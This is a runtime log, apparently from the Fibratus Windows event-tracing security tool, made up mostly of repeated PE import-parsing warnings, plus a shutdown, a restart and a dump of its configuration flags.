+time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:40:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:40:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:40:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:40:46+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T14:40:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:40:47+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:40:48+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:40:48+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:41:05+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T14:41:05+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T14:41:05+01:00 level=info msg=bootstrapping with pid 17060. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T14:41:05+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-timeout=>4s flush-period=>200ms] + alertsenders ................... [ eventlog=>[ verbose=>false enabled=>true] systray=>[ sound=>true enabled=>true quiet-mode=>false] mail=>[ to=>[] enabled=>false content-type=>text/html port=>25 use-template=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-pe=>false] + kstream ........................ [ min-buffers=>16 enable-audit-api=>true enable-net=>true blacklist=>[ images=>[] events=>[]] stack-enrichment=>true enable-mem=>true enable-fileio=>true enable-image=>true enable-handle=>false enable-thread=>true buffer-size=>512 max-buffers=>36 enable-dns=>true flush-interval=>1s enable-vamap=>true enable-registry=>true] + logging ........................ [ max-age=>0 max-backups=>15 level=>info formatter=>text log-stdout=>true max-size=>100] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] enabled=>false index-name=>fibratus timeout=>5s template-name=>fibratus flush-period=>1s trace-log=>false bulk-workers=>1 healthcheck-interval=>10s healthcheck-timeout=>5s sniff=>false healthcheck=>true gzip-compression=>false] amqp=>[ delivery-mode=>transient url=>amqp://localhost:5672 passive=>false vhost=>/ exchange=>fibratus enabled=>false tls-insecure-skip-verify=>false routing-key=>fibratus durable=>false timeout=>5s exchange-type=>topic] http=>[ method=>POST serializer=>json enabled=>false timeout=>5s enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false] console=>[ format=>pretty enabled=>true template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }}] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false excluded-images=>[] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ kparams=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true scan-timeout=>10s alert-via=>mail enabled=>false alert-template=>[] excluded-procs=>[] skip-files=>true excluded-files=>[]] source=bootstrap/bootstrap.go:183 +time=2025-11-11T14:41:06+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T14:41:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:41:08+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:41:08+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:41:08+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 